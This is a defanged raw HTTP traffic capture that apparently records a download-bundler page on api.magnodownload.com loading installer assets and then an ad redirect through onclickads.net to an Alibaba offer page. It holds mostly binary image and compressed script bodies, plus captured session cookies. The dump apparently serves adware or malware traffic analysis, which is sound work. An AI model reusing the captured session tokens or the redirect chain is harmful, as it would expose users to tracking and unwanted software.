Last-Modified: Mon, 23 Jun 2014 16:01:36 GMT

Server: nginx

Content-Length: 95786

Connection: keep-alive
/*! jQuery v1.11.1 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.o
rg/license */.!function(a,b){"object"==typeof module&&"object"==typeof
 module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.do
cument)throw new Error("jQuery requires a window with a document");ret
urn b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){v
ar c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=
h.hasOwnProperty,k={},l="1.11.1",m=function(a,b){return new m.fn.init(
a,b)},n=/^[\s\uFEFF\xA0] |[\s\uFEFF\xA0] $/g,o=/^-ms-/,p=/-([\da-z])/g
i,q=function(a,b){return b.toUpperCase()};m.fn=m.prototype={jquery:l,c
onstructor:m,selector:"",length:0,toArray:function(){return d.call(thi
s)},get:function(a){return null!=a?0>a?this[a this.length]:this[a]:
d.call(this)},pushStack:function(a){var b=m.merge(this.constructor(),a
);return b.prevObject=this,b.context=this.context,b},each:function(a,b
){return m.each(this,a,b)},map:function(a){return this.pushStack(m.map
(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return t
his.pushStack(d.apply(this,arguments))},first:function(){return this.e
q(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.le
ngth,c= a (0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]
:[])},end:function(){return this.prevObject||this.constructor(null)},p
ush:f,sort:c.sort,splice:c.splice},m.extend=m.fn.extend=function(){var
 a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boole
an"==typeof g&&(j=g,g=arguments[h]||{},h  ),"object"==typeof g||m.
<<< skipped >>>

GET /maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/i-download.png HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: api.magnodownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: image/png

Date: Fri, 19 Jun 2015 04:17:26 GMT

ETag: "54f07a01-599"

Last-Modified: Fri, 27 Feb 2015 14:06:57 GMT

Server: nginx

Content-Length: 1433

Connection: keep-alive
.PNG........IHDR...*...*.....J.^.....tEXtSoftware.Adobe ImageReadyq.e&
lt;...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:24FEED836BEF11E4901AB7
B77D879212" xmpMM:DocumentID="xmp.did:24FEED846BEF11E4901AB7B77D879212
"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:24FEED816BEF11E4
901AB7B77D879212" stRef:documentID="xmp.did:24FEED826BEF11E4901AB7B77D
879212"/> </rdf:Description> </rdf:RDF> </x:xmpmeta&
gt; <?xpacket end="r"?>lW1.....IDATx.b|[email protected]...#...k..
...!..T?.&..}_......{....`..?....{..z...'..a..C*....'V.....&VV"M...eWT
...{..X...b..\\.M.LHP.:..0.v..9..?.>.W.......ax....X...MM.........~
.xA.d....".nTT............/w..c,...!.....\T..;w.Z.......D.K......O....
G.......E..$X.D...9..../......K..$...JD.CF_............>.......Lc.f
.U.$.7.NqJK...".....|}.<|[email protected]..^.T.......d.....9
8.>..w RNK.*....C.._.<..q.....mX.)...?..D.l!.{<...7o......\..
......W.....^.|,?..v.;p.B..B..r..d.~B.........X%....b-<..c {9.Im.O.
.........Z?l...v\. ...F.0_B.5....IEND.B`.....
<<< skipped >>>

GET /maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/loading-install.gif HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: api.magnodownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: image/gif

Date: Fri, 19 Jun 2015 04:17:27 GMT

ETag: "54f07a03-1ef8"

Last-Modified: Fri, 27 Feb 2015 14:06:59 GMT

Server: nginx

Content-Length: 7928

Connection: keep-alive
GIF89a..........DCD...:::.........qqq............555...zzziii}}}......
.........aaaQQQeee...%%%.........VVV...lll...............,,,...YYY...)
))...uuuJJJNNN!"!...]]]...101.................................\[\.....
....#$#KLK.../0/KKK[\[`_`...GGG'''...???............///......ccc...sss
ddd```...###.........SSS...777...VVV...888...xxx...............{|{{{{g
hg............kmk444XXX......OOOWWW...222...333!..NETSCAPE2.0.....!..X
MP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http:
//ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/s
Type/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Macintosh)" x
mpMM:InstanceID="xmp.iid:C7B15D6E6C0511E4901AB7B77D879212" xmpMM:Docum
entID="xmp.did:C7B15D6F6C0511E4901AB7B77D879212"> <xmpMM:Derived
From stRef:instanceID="xmp.iid:C7B15D6C6C0511E4901AB7B77D879212" stRef
:documentID="xmp.did:C7B15D6D6C0511E4901AB7B77D879212"/> </rdf:D
escription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r
"?>................................................................
..................................................................~}|{
zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;
:9876543210/.-, *)('&%$#"! .................................!.....
<<< skipped >>>

GET /maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/loadingBar.gif HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: api.magnodownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: image/gif

Date: Fri, 19 Jun 2015 04:17:27 GMT

ETag: "54f07a05-12d72"

Last-Modified: Fri, 27 Feb 2015 14:07:01 GMT

Server: nginx

Content-Length: 77170

Connection: keep-alive
GIF89a|..............................c........"..y..4.....H.....i.....
/..1..2.....M.....W...........v...........-..u........0..1.. ..... ...
.....*.....!.....*.....,..{........z..s.....5........&.."..(..(..,..2.
.4..8..).. ..u..... ..$.....z..m...........*......../..*.....,........
...4..".....%..'.. ..............%........(../..............!.........
.....8.....&..3.....)..... ../........%..4.....!..NETSCAPE2.0.....!..X
MP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http:
//ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/s
Type/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Macintosh)" x
mpMM:InstanceID="xmp.iid:C7B15D6A6C0511E4901AB7B77D879212" xmpMM:Docum
entID="xmp.did:C7B15D6B6C0511E4901AB7B77D879212"> <xmpMM:Derived
From stRef:instanceID="xmp.iid:C7B15D686C0511E4901AB7B77D879212" stRef
:documentID="xmp.did:C7B15D696C0511E4901AB7B77D879212"/> </rdf:D
escription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r
"?>................................................................
..................................................................~}|{
zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;
:9876543210/.-, *)('&%$#"! .................................!.....
<<< skipped >>>

GET /rd/vutlr5u3?pid=313275&tp1=78219838873&cv=147001&cn=UA HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Referer: hXXp://onclickads.net/afu.php?zoneid=313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: click.alibaba.com

Connection: Keep-Alive

HTTP/1.1 302 Moved Temporarily

Date: Fri, 19 Jun 2015 04:17:30 GMT

Content-Type: text/html;charset=UTF-8

Content-Length: 0

Connection: keep-alive

Set-Cookie: ali_apache_id=193.138.244.231.1434687450825.709605.4; path=/; domain=.alibaba.com; expires=Wed, 30-Nov-2084 01:01:01 GMT

Server: Apache-Coyote/1.1

Set-Cookie: JSESSIONID=QQ427kX6 0842Jju4cTXy58v; Path=/

P3P: CP="CAO PSA OUR"

Set-Cookie: ali_apache_track=""; Domain=.alibaba.com; Expires=Wed, 07-Jul-2083 07:31:37 GMT; Path=/

Set-Cookie: ali_apache_tracktmp=""; Domain=.alibaba.com; Path=/

Set-Cookie: xman_us_f=x_l=0; Domain=.alibaba.com; Expires=Wed, 07-Jul-2083 07:31:37 GMT; Path=/

Set-Cookie: xman_t=w4ccGTtuO6OQ /kawIlWWXLnFtHcwbHszoit71x7  gEeTRGuE80lgsEugDg48PB; Domain=.alibaba.com; Path=/; HttpOnly

Set-Cookie: acs_usuc_t=acs_rt=74a69b6614774a3b948d426cbea9b959; Domain=.alibaba.com; Path=/

Set-Cookie: acs_t=60Ki3npUBcAiPtoifZt3h1LR0ewb2 MAVuyNxxaV8e/hIeBOXZxoMHqLf7EohayQ; Domain=.alibaba.com; Path=/; HttpOnly

Set-Cookie: xman_f=DhFtF3LS77qvMuuYcNPGp f1YyPuL/Oj454cQLzKkS/3kDPnWgzbMP2rm6zWDiWRNW2BhvLobgKDp8KX9pRfKYmE2/QPBAs6HtQD6PXxHeVZAqDH46hEMA==; Domain=.alibaba.com; Expires=Wed, 07-Jul-2083 07:31:37 GMT; Path=/; HttpOnly

Location: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf

Content-Language: zh-CN
<<< skipped >>>

GET /css/6v/??run/arcadia/landing-page/lp-layout-premium-market.css,run/list/common/default.css,run/arcadia/landing-page/lp-category-list.css,run/arcadia/category/categories-home.css,apollo/mod/header/header-v4-sc.css,run/common/top-reached/top-reached.css,apollo/mod/footer/footer-v4-sc.css?t=1839ef62e_22db2c054f HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: style.aliunicorn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: text/css

Last-Modified: Fri, 12 Jun 2015 02:59:04 GMT

Access-Control-Allow-Origin: *

Content-Encoding: gzip

Content-Length: 51117

Timing-Allow-Origin: *

Timing-Allow-Origin: *

Timing-Allow-Origin: *

Cache-Control: max-age=30926398

Expires: Sat, 11 Jun 2016 02:57:29 GMT

Date: Fri, 19 Jun 2015 04:17:31 GMT

Connection: keep-alive

Vary: Accept-Encoding

Timing-Allow-Origin: *
............g....%...j4..1.....h.....tj.(...pj2. .......ff...../.u....
..W..k...@.=..9,.t.q ....~....m.}..{8.e....p......e.5...m...k..s.~._C?
...~].. ...!...k..i........q.|m/.~V......FEZ...=..wNK.c....}.f....C..m
...U....R......oZ}......b_.g..M...".&.../{.?.|.._...?.................
9...G..e?..m.....v..............Q......a-.2*.r>./.$I..Y.....I.~._~.
0.F.......s.B.,..../...?..._.............m~....0I.....~L..z...Q]._.k..
.<..aR-..-A..._.|......%)./....>..x.Rfc.._..K..)./.............K
?._.1..~..h...c....K.1../q.._....d....R......z..$.....4_..KV.M2....../
M.][.4O..K8..../.T~....L..a....<........R$....,.0....~...i.|...r..&
gt;.OK{Y........4.7.}.~_vE:...k..U.|..2....)m.p.i..K._T.?.:...e....<
;^._.....'........{?.KR....5....q......._.....8...~F....w.._..G..}3...
.*..........l....|4...5...$..6l~...K^.SS.! [email protected]..;|w..
.O...........g...cK....._.cH........w.o.>.._F..G.a..^......[.}.@...
.....O...g.|..........z....V.C?.a7.4............XN~..x.Dl?..O.........
.G..a.O... ................7D.>J/.H..1?.../3.?......~y.t...........
\u._~7..u.u....Q...-...J...kU.c...G.u...).n.aM?~..n..O..WG.'.Na;|...m.
...}._.._SW"g?......._.2....._.....Hp.....V\...s.....?..V... v...hL...
..OW)..}.2]9....d.............O.G.}?.M8.k....G...._...C.......%.....C.
...~_ ~.#...X..n.?....?~V....1...S......?]...o.....,2^A.;.....t....&..
...:..7.....G...x.>?..}............./......;..._.\....o....l...qe..
._....e......?.y....f..*[email protected]_.nX. [email protected]....
?../m...Y./...2.........).:..e.^.oF.$...B...?.................~...
<<< skipped >>>

GET /simg/sprites/env/aisn/ghome/ghome.png?t=4e09143a_0 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: style.aliunicorn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 40369

Last-Modified: Mon, 05 Jan 2015 05:45:07 GMT

ETag: 4e09143a_0

Timing-Allow-Origin: *

Cache-Control: max-age=19863422

Expires: Thu, 04 Feb 2016 01:54:33 GMT

Date: Fri, 19 Jun 2015 04:17:31 GMT

Connection: keep-alive

Timing-Allow-Origin: *
.PNG........IHDR..............8......tEXtSoftware.Adobe ImageReadyq.e&
lt;...niTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xm
p.did:52EA6E036007E411B5E6D95C327E2CAD" xmpMM:DocumentID="xmp.did:1BF2
668E869711E4A36CF4A1632FB7B3" xmpMM:InstanceID="xmp.iid:1BF2668D869711
E4A36CF4A1632FB7B3" xmp:CreatorTool="Adobe Photoshop CC 2014 (Windows)
"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:847a23ac-2119-00
44-b527-1ce00237277e" stRef:documentID="xmp.did:52EA6E036007E411B5E6D9
5C327E2CAD"/> </rdf:Description> </rdf:RDF> </x:xmpm
eta> <?xpacket end="r"?>{.......IDATx....|ee}?..&....d....A."
BY.......?.....!Zq_.....Rm]&.].j.....B..APA.qAd..(...f.f.....=....$..!
..~.....{....sc:.<yN..8=?..........%.........%5...*_....H}.Y.......
.......Q..M.`..;.......{..W<>.........:m.}QZ.....LKJ.....#..Vy..
/T..?......R...........2{F.. .........H.....m.[ScJ.....M!.;..;..x..S..
.Hm....F~.ys..1.3\....N.O..o........u.....i%.p?'5......XOiNk..iI...k..
...P.]...Sm...q.N/...}.zlU....\..3g.H.{.<..%.....t.WR.......x....id
[email protected]..."=.Y_7..j......w\=.b...f..y..T.84<j}.....
<<< skipped >>>

GET /js/6v/biz/common/lazyload-images/lazyload-images.js?t=ba5caa31_6b5144d34 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: style.aliunicorn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Last-Modified: Thu, 18 Jun 2015 17:42:18 GMT

ETag: fefb22b5_620209b94

Timing-Allow-Origin: *

Server: Tengine

Content-Type: application/javascript

Content-Length: 613

Access-Control-Allow-Origin: *

Content-Encoding: gzip

Cache-Control: max-age=20

Expires: Fri, 19 Jun 2015 04:17:52 GMT

Date: Fri, 19 Jun 2015 04:17:32 GMT

Connection: keep-alive

Vary: Accept-Encoding

Timing-Allow-Origin: *
[email protected]...^ZRj;..i{.......,....
Z*J.}S..=.....]...n$.D.J(..j.Z*F.Pm.ie.S.(&s....;..8W.#._..5.J...g....
.....jCI^7R.~%.R..K.Ch4{..<..?.|.:....7..K....g[\..g1M...G.....Ib..
..K....K.ed......h....F......$b.I.....3-.e.W.*..2....5D7'..h.....WV...
..8.I)...*..$..di....o..`...^h...x;.....y.....9....}q...qb..:...Z.m]ov
....V........%.......N..B.8...A...X.2.#....._\..m/......5. .?s..&0}.zj
[email protected]<.$.Ot...7x.O;.#j.-..z.X........[[email protected].(....A....9....zs"...
.@....~@...="...^,.Q.....'p..N!.q..s4.#...n\......44j...t......S....^[
W.Nik....L.?...(@.-..c3........dvJX.U.s(....s.D......?.w...HTTP/1.1 20
0 OK..Last-Modified: Thu, 18 Jun 2015 17:42:18 GMT..ETag: fefb22b5_620
209b94..Timing-Allow-Origin: *..Server: Tengine..Content-Type: applica
tion/javascript..Content-Length: 613..Access-Control-Allow-Origin: *..
Content-Encoding: gzip..Cache-Control: max-age=20..Expires: Fri, 19 Ju
n 2015 04:17:52 GMT..Date: Fri, 19 Jun 2015 04:17:32 GMT..Connection: 
keep-alive..Vary: Accept-Encoding..Timing-Allow-Origin: *.............
[email protected]...^ZRj;..i{.......,....Z*J.}S..=..
...]...n$.D.J(..j.Z*F.Pm.ie.S.(&s....;..8W.#._..5.J...g.........jCI^7R
.~%.R..K.Ch4{..<..?.|.:....7..K....g[\..g1M...G.....Ib....K....K.ed
......h....F......$b.I.....3-.e.W.*..2....5D7'..h.....WV.....8.I)...*.
.$..di....o..`...^h...x;.....y.....9....}q...qb..:...Z.m]ov....V......
..%.......N..B.8...A...X.2.#....._\..m/......5. .?s..&0}[email protected]<
.$.Ot...7x.O;.#j.-..z.X........[[email protected].(....A....9....zs"....@....~
<<< skipped >>>

GET /js/6v/lib/??arale/class/class.js,arale/events/events.js,arale/base/base.js,icbu/scroll-trigger/scroll-trigger.js?t=191da4a39_975681822 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: style.aliunicorn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/javascript

Content-Length: 4236

Last-Modified: Thu, 30 Apr 2015 15:58:40 GMT

Content-Encoding: gzip

Timing-Allow-Origin: *

Timing-Allow-Origin: *

Timing-Allow-Origin: *

Cache-Control: max-age=27404726

Expires: Sun, 01 May 2016 08:42:58 GMT

Date: Fri, 19 Jun 2015 04:17:32 GMT

Connection: keep-alive

Vary: Accept-Encoding

Timing-Allow-Origin: *
...........Zyo.J..*.1..U...8/.....Y @..a.........:..........U}.M..f..c
.."..*VU.. .3qqW.......J.=.i.Vj;......qV.E......IQ..b%...Te^.ij..I...G
)I ....!.(Y...4......W0u....Wy.Iy5_.. )rs.........9.......J(Q.....!...
*..j....Re<....G.~.........u.........HV.......H.T.....R.*..........
..........q...fND4._.-..EJ.hy..OV......e....1.l...\...v.......A....@h|
.....t..e.........x`..Q..\1^.D.....hQ:..T.......-..)[email protected].
hT.....DFD..xJ%....B.~_.2......=.8N...C..v.J..R^.....OuD(\.T...^.n.a..
..xlPI.J.%...S.\.i.......06.......8#y..ZR....&Zl.4.;...'.j.....v.....i
{.%......}jf..`2=  p.}.R.NM>[email protected]
;. cO.G......w..x>.....C.?5..Z..#....$....&..........wd.~."{.......
..q...&.....^>.jR....[....]...............#.4..........!.......:..D
...D.:.3.D9........KP|....`....[..nn.7.|4...3..{t....?32..lJ...2..0A..
[.:...I..8...~F3.#5.....T...5...<..b8A;$..L. ....lH...h.....7..E..&
lt;.....sv.....y{Iut....I.....U.:N..vKA5.k..^,,.ss...p..._.E....m/y'NA
.3f&..h.^s&...f0n>7..q..7..p.-..yd.Pz.X.l*..C.I......../.<.... h
.....j.d.$( .W...a4;...-.&...p..juT-..Z &.]]D]E...w....Y..*z....O.:.m.
6.HjUWz.{.R9-g.x..&.L.~.....*7_..fie...8....$....m.4.......\.n.nWiyr.f
d.d.......... B...... ..T...,...9.u......`Kc<....,...W..r4k....*O..
.....f..KY,..E(Oi..2-..<.aIV.:[email protected].)'.j.n......E...[.Q.
..%..R...i.G"ib..d..X..M8S.'2..s...}...1<..V.Ku....c......../^.P...
3...p..s<...x|.B.\....2.E.../5(@..J...8,z..><s..V)......=.S.!
].v...2[..E..$.d.M..."..2....>\<RkQ>\`r.Q..e...C....P....
<<< skipped >>>

GET /simg/single/icon/loading_16x16.gif?t=30d69a7b_0 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: style.aliunicorn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/gif

Content-Length: 1553

Last-Modified: Tue, 04 Nov 2014 09:34:41 GMT

ETag: 30d69a7b_0

Timing-Allow-Origin: *

Timing-Allow-Origin: *

Timing-Allow-Origin: *

Timing-Allow-Origin: *

Timing-Allow-Origin: *

Cache-Control: max-age=11968780

Expires: Wed, 04 Nov 2015 16:57:13 GMT

Date: Fri, 19 Jun 2015 04:17:33 GMT

Connection: keep-alive

Timing-Allow-Origin: *
GIF89a............................wwwfffUUUDDD333"""..................
.......................................!..NETSCAPE2.0.....!.......,...
.......w $B..$..B.#..#..(<L.....3.....D....H$^[email protected]..."U...P#..
a..\;....1.....o.::0.v.@..$|,3......._#.....d..5..3.".s5..e!.!.......,
..........c $.....9*"#......8.3.b.4..k..B.....J....`4...<..q8...B..
[email protected]*.i.".(.)..VY..#!.!.......,..........` $.Pa.
......K*:...u.....#.@tX....!&0<..U#'.....h..m.'.@Y..^h.a-k..(......
...N......|$.C..f)@.f|!.!.......,..........b $.bA...@."&..-..".*6C....
...*... `j..4..2`. 5...X......p......h/H..`......h....R"..]SW.B].~....
(!.!.......,..........I $..q.........B.,.n[.h......*.G...U.....H.)8..G
.tJ.^[email protected]*Dm.....T.....!.......,..........q $..0.(...q.....k......
.7A.G..d....(1....0.....d...X...`U..eR!.P...T..h .(....v!_"PQ.V.e..Y..
i)..Z.`x#..'3y.|)..!.!.......,..........` $.. ..8.E...I....F0C......T@
..F.`.B4........A....b.Z.bq........ ............)/a.zSS...&.V...p$!.!.
......,..........^ $B.8."1.......0.....B...R.0..v..".B....lp....Xb....
F...a....AA&*X....(@.3....,...(.}..Q >..R!.!.......,..........c $.P
...xB. . *.-[.d..... .i@...)`..L..?'I`.JG....b.P....h......X....B.)0..
...X..Q#..}...N.o."tI ZI!.!.......,..........\ $.P`.....8.....*.....1.
....h..0.r.x8..B......Qa......V. ....!.M.D.l!..4.%..B...Be..PDY0..0!.!
.......,..........] $.$.........I>.Q........].. .d".2..8..G.qH9...A
.2.......B..."., D..H('...4...C.\0..`.UL".r(!.!.......,..........d $.d
I..`....k....B...B ...m.....A.72,....(P..X..........8@R%.a..K..*..
<<< skipped >>>

GET /js/6v/biz/common/webatm-new/webatm.js?t=f8341bb2_875dbec1cc HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: style.aliunicorn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/javascript

Last-Modified: Thu, 18 Jun 2015 17:42:58 GMT

Access-Control-Allow-Origin: *

Content-Encoding: gzip

Content-Length: 49655

Timing-Allow-Origin: *

Cache-Control: max-age=31498020

Expires: Fri, 17 Jun 2016 17:44:33 GMT

Date: Fri, 19 Jun 2015 04:17:33 GMT

Connection: keep-alive

Vary: Accept-Encoding

Timing-Allow-Origin: *
............{.#.q .U..,.j....].".&....."[email protected] . 
[.]..^..,y.v-y$...=.=.._."[email protected]..|FFFFFDFF..a............h...q
